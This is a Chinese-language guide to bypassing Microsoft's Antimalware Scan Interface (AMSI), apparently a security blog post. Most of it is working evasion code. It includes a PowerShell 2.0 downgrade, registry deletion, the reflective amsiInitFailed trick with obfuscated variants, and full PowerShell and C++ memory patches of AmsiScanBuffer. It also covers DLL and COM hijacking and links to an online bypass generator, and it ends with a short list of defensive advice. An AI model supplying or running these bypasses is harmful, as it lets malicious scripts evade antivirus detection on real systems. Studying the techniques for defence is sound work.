amsi绕过总结
字数 1620 2025-08-29 08:32:09
AMSI绕过技术全面指南
1. AMSI基础概念
1.1 什么是AMSI
AMSI (Antimalware Scan Interface)是微软开发的反恶意软件扫描接口标准,主要特性包括:
- 通用接口标准,允许应用程序与服务与机器上的反恶意软件产品集成
- 提供增强的恶意软件保护,特别是针对脚本和动态代码
- 支持文件和内存/流扫描、内容源URL/IP信誉检查等技术
- 支持会话概念,关联不同扫描请求以增强检测能力
1.2 AMSI工作原理
- 当用户执行脚本或启动PowerShell时,AMSI.dll被动态加载到内存空间
- 在执行前,防病毒软件使用以下API扫描缓冲区和字符串:
AmsiScanBuffer()AmsiScanString()
1.3 AMSI集成组件
AMSI已集成到以下Windows组件中:
- 用户账户控制(UAC) -
%windir%\System32\consent.exe - PowerShell -
System.Management.Automation.dll - Windows脚本宿主 -
wscript.exe,cscript.exe - JavaScript/VBScript -
%windir%\System32\jscript.dll,%windir%\System32\vbscript.dll - Office VBA宏 -
VBE7.dll - .NET Assembly -
clr.dll - WMI -
%windir%\System32\wbem\fastprox.dll
2. AMSI绕过技术详解
2.1 降级攻击
原理:PowerShell 2.0没有AMSI功能
实施方法:
- 检查当前PowerShell版本:
$PSVersionTable - 判断能否使用PowerShell 2.0:
- 非管理员权限:
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version - 管理员权限:
- Win10:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2 - Win2016/Win2019:
Get-WindowsFeature PowerShell-V2
- Win10:
- 非管理员权限:
- 使用PowerShell 2.0执行:
或在脚本开头添加:powershell.exe -version 2#requires -version 2
2.2 注册表禁用AMSI
方法:
Remove-Item -Path "HKLM:\Software\Microsoft\Windows Script\Settings\AmsiEnable" -Recurse
或设置注册表:
HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable = 0
限制:
- 需要管理员权限
- 不够隐蔽
2.3 反射式AMSI禁用
基础方法:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
绕过检测的编码方法:
-
字符串拆分编码:
$a="5492868772801748688168747280728187173688878280688776828" $b="1173680867656877679866880867644817687416876797271" $c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " " $d=[Ref].Assembly.GetType($c) $e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " " $f=$d.GetField($e,'NonPublic,Static') $f.SetValue($null,$true) -
HEX编码:
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
2.4 内存补丁技术
API调用顺序:
AmsiInitialize- 初始化AMSI APIAmsiOpenSession- 打开sessionAmsiScanBuffer- 扫描用户输入AmsiCloseSession- 关闭sessionAmsiUninitialize- 删除AMSI API
补丁目标:
- 修改
AmsiScanBuffer或AmsiOpenSession函数,使其返回负数(如0x80070057)
PowerShell实现:
$p=@"
using System;
using System.Linq;
using System.Runtime.InteropServices;
public class Program{
[DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]public static extern IntPtr VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,uint flNewProtect, out uint lpfloldProtect);
public static void Bypass(){
String a ="isma";
String b ="reffuBnacSismA";
IntPtr lib = LoadLibrary(String.Join("", a.Reverse().ToArray()) +".dll");
IntPtr addr = GetProcAddress(lib, String.Join("",b.Reverse().ToArray()));
uint old = 0;
byte[] p;
p = new byte[6];
p[0] = 0xB8;
p[1] = 0x57;
p[2] = 0x00;
p[3] = 0x07;
p[4] = 0x80;
p[5] = 0xc3;
VirtualProtect(addr, (UIntPtr)p.Length, 0x04, out old);
Marshal.Copy(p, 0, addr, p.Length);
VirtualProtect(addr, (UIntPtr)p.Length, old, out old);
}}
"@
Add-Type $p
[Program]::Bypass()
C++实现:
#include <Windows.h>
#include <stdio.h>
int main() {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);
HMODULE hAmsi = LoadLibraryA("amsi.dll");
LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
Sleep(500);
DWORD oldProtect;
char patch = 0xc3;
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);
VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hAmsi);
return 0;
}
2.5 DLL劫持技术
原理:
- 利用
LoadLibrary函数在没有绝对路径时优先从当前目录加载DLL的特性 - 在
powershell.exe同目录下放置恶意amsi.dll
要求:
- 劫持的DLL需要包含所有导出函数
- 可以使用Aheadlib工具生成或手动实现
2.6 COM Server劫持(已失效)
原方法:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}]
[HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32]
@="C:\\goawayamsi.dll"
3. 其他资源
- 在线AMSI绕过生成平台:https://amsi.fail/
- 支持AMSI的杀毒软件列表:https://github.com/subat0mik/whoamsi/
4. 防御建议
- 禁用PowerShell 2.0
- 监控注册表关键项修改
- 检测内存补丁行为
- 实施DLL加载路径保护
- 保持系统和安全软件更新
5. 总结
AMSI绕过技术不断发展,从最初的简单方法到现在的复杂混淆和内存操作技术。防御方需要多层次防护,包括行为监控、内存保护和系统加固。红队人员应持续研究新技术,同时蓝队需要了解这些技术以构建更强大的防御体系。